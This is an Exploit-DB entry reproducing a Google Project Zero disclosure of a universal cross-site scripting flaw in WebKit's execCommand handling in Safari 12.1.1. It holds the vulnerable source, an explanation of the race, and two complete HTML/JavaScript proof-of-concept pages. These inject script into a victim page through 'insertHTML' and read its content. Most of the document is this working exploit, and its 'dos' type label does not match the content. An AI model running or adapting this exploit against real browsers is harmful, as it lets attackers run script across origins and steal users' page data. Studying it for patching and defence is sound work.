Exploit-DB #47451
Description: WebKit - Universal XSS in WebCore::command
Type: dos
Platform: multiple
Date: 2019-10-01
Author: Google Security Research

Exploit:
<!--
VULNERABILITY DETAILS
```
static Editor::Command command(Document* document, const String& commandName, bool userInterface = false)
{
    RefPtr<Frame> frame = document->frame();
    if (!frame || frame->document() != document) // ***1***
        return Editor::Command();

    document->updateStyleIfNeeded(); // ***2***

    return frame->editor().command(commandName,
        userInterface ? CommandFromDOMWithUserInterface : CommandFromDOM);
}

bool Document::execCommand(const String& commandName, bool userInterface, const String& value)
{
    EventQueueScope eventQueueScope;
    return command(this, commandName, userInterface).execute(value);
}
```

This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `command`
calls `updateStyleIfNeeded`[2], which might trigger JavaScript execution, e.g., via
`HTMLObjectElement::updateWidget`. If the JS code triggers a new page load, the editor command will
be applied to the wrong page. The method checks that the `document` argument is the document that's
currently displayed on the page, but it does so *before* the `updateStyleIfNeeded` call. An attacker
can exploit this bug to execute the "InsertHTML" command and run JavaScript in the context of the
victim page.


VERSION
WebKit revision 246194
Safari version 12.1.1 (14607.2.6.1.1)


REPRODUCTION CASE
The test case requires the victim page to have a selected element when the load is complete. A
common suitable case is when the page contains an autofocused <input> element.

```
<body>
<script>
function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
  showModalDialog(createURL(`
    <script>
    let it = setInterval(() => {
      try {
        opener.w.document.x;
      } catch (e) {
        clearInterval(it);

        window.close();
      }
    }, 100);
    </scrip` + 't>'));
}

victim_url = 'https://trac.webkit.org/search';

cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';

onclick = () => {
  w = open();

  obj = document.createElement('object');
  obj.data = 'about:blank';
  obj.addEventListener('load', function() {
    a = w.document.createElement('a');
    a.href = victim_url;
    a.click();

    waitForLoad();
  });
  w.document.body.appendChild(obj);

  w.document.execCommand('insertHTML', false,
    '<iframe onload="alert(document.documentElement.outerHTML)" src="about:blank"></iframe>');
}
</script>
</body>
```

repro_iframe.html contains a version that uses an <iframe> instead of a new window and works in
Safari 12.1.1.


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->

<body>
<script>
function createURL(data, type = 'text/html') {
  return URL.createObjectURL(new Blob([data], {type: type}));
}

function waitForLoad() {
  showModalDialog(createURL(`
    <script>
    let it = setInterval(() => {
      try {
        opener.w.document.x;
      } catch (e) {
        clearInterval(it);

        window.close();
      }
    }, 100);
    </scrip` + 't>'));
}


victim_url = 'data:text/html,<h1>secret data</h1><input autofocus>';

cache_frame = document.body.appendChild(document.createElement('iframe'));
cache_frame.src = victim_url;
cache_frame.style.display = 'none';

victim_frame = document.body.appendChild(document.createElement('iframe'));
victim_frame.style.width = victim_frame.style.height = '100%';
victim_frame.contentDocument.write('<h1>click to start</h1>');

victim_frame.contentWindow.onclick = (() => {
  obj = document.createElement('object');
  obj.data = 'about:blank';
  obj.addEventListener('load', function() {
    a = victim_frame.contentDocument.createElement('a');
    a.href = victim_url;
    a.click();

    waitForLoad();
  });
  victim_frame.contentDocument.body.appendChild(obj);

  victim_frame.contentDocument.execCommand('insertHTML', false,
    '<iframe onload="alert(document.firstChild.outerHTML)" src="about:blank"></iframe>');
});
</script>
</body>